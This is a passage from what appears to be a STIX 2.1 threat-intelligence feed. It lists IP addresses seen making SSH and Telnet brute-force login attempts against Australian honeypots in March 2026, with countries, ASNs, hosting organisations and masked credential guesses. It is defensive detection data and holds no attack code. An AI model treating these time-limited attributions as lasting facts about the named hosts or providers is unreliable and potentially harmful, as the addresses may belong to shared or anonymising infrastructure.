      "valid_from": "2026-03-17T11:15:14.000Z",
      "valid_until": "2026-04-18T11:15:12.000Z"
    },
    {
      "created": "2026-03-17T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--325eae2b-7f62-44af-aa41-083f47d6b33c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.164.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T11:15:14.000Z",
      "valid_until": "2026-04-18T11:15:12.000Z"
    },
    {
      "created": "2026-03-17T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396507. Organisation(s): Emerald Onion. Usernames observed (masked): r**t. Passwords observed (masked): I***********************5.",
      "id": "indicator--a1f38212-9eda-42ba-a823-284fb0f6ba69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.129.64.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T11:15:14.000Z",
      "valid_until": "2026-04-18T11:15:12.000Z"
    },
    {
      "created": "2026-03-17T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--56f9e389-d537-4019-a993-b9084370476e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.124.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T11:15:14.000Z",
      "valid_until": "2026-04-18T11:15:12.000Z"
    },
    {
      "created": "2026-03-17T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9908. Organisation(s): HK Cable TV Ltd.",
      "id": "indicator--b438d62e-fc53-4398-bc43-bc9ecabc3aca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.59.29.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:15:14.000Z",
      "valid_until": "2026-04-18T12:15:12.000Z"
    },
    {
      "created": "2026-03-17T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--117c5d6c-9e3b-40a2-85e4-6c9e52aa374b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.167.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:15:14.000Z",
      "valid_until": "2026-04-18T12:15:12.000Z"
    },
    {
      "created": "2026-03-17T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c9685f1b-2a68-4e5d-8cb7-9bd113c50d1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.65.193.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:15:14.000Z",
      "valid_until": "2026-04-18T12:15:12.000Z"
    },
    {
      "created": "2026-03-17T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KH. ASN(s): 38623. Organisation(s): ISPIXP IN CAMBODIA WITH THE BEST VERVICE IN THERE.. Usernames observed (masked): i*********s. Passwords observed (masked): i*********s.",
      "id": "indicator--809e80ef-9f0c-4e81-8041-61e148bec1b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.100.24.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:15:14.000Z",
      "valid_until": "2026-04-18T12:15:12.000Z"
    },
    {
      "created": "2026-03-17T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 42905. Organisation(s): LIMANET Ltd..",
      "id": "indicator--3cb8685e-102a-469e-b5a0-13e6530c346a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.62.36.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:15:14.000Z",
      "valid_until": "2026-04-18T12:15:12.000Z"
    },
    {
      "created": "2026-03-17T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--4429d437-ca07-41ba-9c89-ff6286ada32b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.34.111.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:15:14.000Z",
      "valid_until": "2026-04-18T12:15:12.000Z"
    },
    {
      "created": "2026-03-17T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--fed30422-7298-4ab1-a7a7-747f72c40efc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.254.234.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:15:14.000Z",
      "valid_until": "2026-04-18T12:15:12.000Z"
    },
    {
      "created": "2026-03-17T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132754. Organisation(s): Realtel Network Services Pvt Ltd.",
      "id": "indicator--15f49c80-e802-4f4a-84d7-66c15d4bceb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.110.21.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T13:15:15.000Z",
      "valid_until": "2026-04-18T13:15:11.000Z"
    },
    {
      "created": "2026-03-17T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a2a7faec-2e66-4f21-babe-0bd78fbdde1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.243.251.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T13:15:15.000Z",
      "valid_until": "2026-04-18T13:15:11.000Z"
    },
    {
      "created": "2026-03-17T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): 3**********4, **, s****1, a**n, d***m. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1****6, 1******8.",
      "id": "indicator--34cb1665-d604-433f-97a1-cb237f9f1706",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '136.248.247.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T13:15:15.000Z",
      "valid_until": "2026-04-18T13:15:11.000Z"
    },
    {
      "created": "2026-03-17T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 266327. Organisation(s): NCS-Fibra New Central Solutions. Usernames observed (masked): 3**********4, **, s****1, a**n, d***m. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1****6, 1******8.",
      "id": "indicator--2906a7e9-b613-49ee-8f57-6c62e6e282d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.238.160.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T13:15:15.000Z",
      "valid_until": "2026-04-18T13:15:11.000Z"
    },
    {
      "created": "2026-03-17T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 18182. Organisation(s): Sony Network Taiwan Limited.",
      "id": "indicator--94500951-517c-4260-a41c-2ee4bf6a538b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.85.5.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T13:15:15.000Z",
      "valid_until": "2026-04-18T13:15:11.000Z"
    },
    {
      "created": "2026-03-17T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--6f472b6e-74e3-487a-8227-3506aa351740",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.36.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T13:15:15.000Z",
      "valid_until": "2026-04-18T13:15:11.000Z"
    },
    {
      "created": "2026-03-17T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, p******d.",
      "id": "indicator--7f3a91aa-80c3-46e0-967a-0e399e84d03b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.76.139.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T13:15:15.000Z",
      "valid_until": "2026-04-18T13:15:11.000Z"
    },
    {
      "created": "2026-03-17T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ff612d3e-ccc5-4053-927b-1fd93bb8f700",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.198.219.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T14:15:13.000Z",
      "valid_until": "2026-04-18T14:15:11.000Z"
    },
    {
      "created": "2026-03-17T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): n***x, 3**********4, a****s, b**t, b**1. Passwords observed (masked): ***, 1****6, 3***********4, 3**********4, B*****3.",
      "id": "indicator--6ed7fae7-dc69-4a9c-b9c2-bd8d3dacd672",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.200.217.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T14:15:13.000Z",
      "valid_until": "2026-04-18T14:15:11.000Z"
    },
    {
      "created": "2026-03-17T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--425a530e-5ff1-4a22-aa75-d121c17c5135",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.92.148.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T14:15:13.000Z",
      "valid_until": "2026-04-18T14:15:11.000Z"
    },
    {
      "created": "2026-03-17T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): h***g, 3**********4, e****n, l*******t, m********g. Passwords observed (masked): 1***5, 3***********4, 3**********4, A******0, L***********!.",
      "id": "indicator--f826c654-ab2b-4c59-bbf4-daa26afc1e34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.237.101.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T14:15:13.000Z",
      "valid_until": "2026-04-18T14:15:11.000Z"
    },
    {
      "created": "2026-03-17T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 42526. Organisation(s): Computer Communication Systems LLC.",
      "id": "indicator--9a30e600-f056-478d-af03-d04f5415e403",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.170.116.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T14:15:13.000Z",
      "valid_until": "2026-04-18T14:15:11.000Z"
    },
    {
      "created": "2026-03-17T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--44b886c0-6c3c-4d1a-a8d1-a56ad996d922",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T14:15:13.000Z",
      "valid_until": "2026-04-18T14:15:11.000Z"
    },
    {
      "created": "2026-03-17T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 328847. Organisation(s): KoTDA. Usernames observed (masked): c*****o, m*****e, ***. Passwords observed (masked): 1**4, 1******8, p******d.",
      "id": "indicator--ee17dcdd-f4aa-493e-9a90-73a365bea396",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.210.148.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T15:15:14.000Z",
      "valid_until": "2026-04-18T15:15:12.000Z"
    },
    {
      "created": "2026-03-17T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--58b64114-9228-476e-a3c2-fa35bca47201",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.36.77.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T15:15:14.000Z",
      "valid_until": "2026-04-18T15:15:12.000Z"
    },
    {
      "created": "2026-03-17T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, 3**********4, a***l, b*****d, **. Passwords observed (masked): 1**4, 1******8, 3***********4, 3**********4, K****!.",
      "id": "indicator--8a1d27eb-d5a6-48ef-9b74-f797299660e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T15:15:14.000Z",
      "valid_until": "2026-04-18T15:15:12.000Z"
    },
    {
      "created": "2026-03-17T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 272953. Organisation(s): HS NETWORKS SAS.",
      "id": "indicator--f3851230-1a07-4593-b418-9906a604837f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.216.132.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T15:15:14.000Z",
      "valid_until": "2026-04-18T15:15:12.000Z"
    },
    {
      "created": "2026-03-17T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--23640a32-a249-44ce-bca9-7e19ecbd5ff9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.173.146.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T15:15:14.000Z",
      "valid_until": "2026-04-18T15:15:12.000Z"
    },
    {
      "created": "2026-03-17T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 46320. Organisation(s): BLU Fibre Networks inc..",
      "id": "indicator--d96008d5-e241-4598-9a1f-3c89f81a35a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.205.236.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T15:15:14.000Z",
      "valid_until": "2026-04-18T15:15:12.000Z"
    },
    {
      "created": "2026-03-17T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6300. Organisation(s): Fidium.",
      "id": "indicator--fa89c4ad-da50-4619-8519-31d9f7e0badb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '76.164.117.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T15:15:14.000Z",
      "valid_until": "2026-04-18T15:15:12.000Z"
    },
    {
      "created": "2026-03-17T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--e5bf9a96-93b6-41be-aa0e-8bbf1a7b2d36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.177.101.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T15:15:14.000Z",
      "valid_until": "2026-04-18T15:15:12.000Z"
    },
    {
      "created": "2026-03-17T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c6f33ef5-4977-4740-be9a-3eaa05754aab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T16:15:13.000Z",
      "valid_until": "2026-04-18T16:15:11.000Z"
    },
    {
      "created": "2026-03-17T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): a****r. Passwords observed (masked): 1**4.",
      "id": "indicator--8a5574a3-0564-4d03-bdff-583ec6693b1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.170.144.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T16:15:13.000Z",
      "valid_until": "2026-04-18T16:15:11.000Z"
    },
    {
      "created": "2026-03-17T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--f9942305-f42c-40ca-b5de-131b801632b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.236.23.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T16:15:13.000Z",
      "valid_until": "2026-04-18T16:15:11.000Z"
    },
    {
      "created": "2026-03-17T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 202799. Organisation(s): Sysect D.o.o..",
      "id": "indicator--f137c435-0f3e-4837-ae60-0decd31c3a22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.19.223.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T16:15:13.000Z",
      "valid_until": "2026-04-18T16:15:11.000Z"
    },
    {
      "created": "2026-03-17T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 151729. Organisation(s): SWIFTIFY PRIVATE LIMITED.",
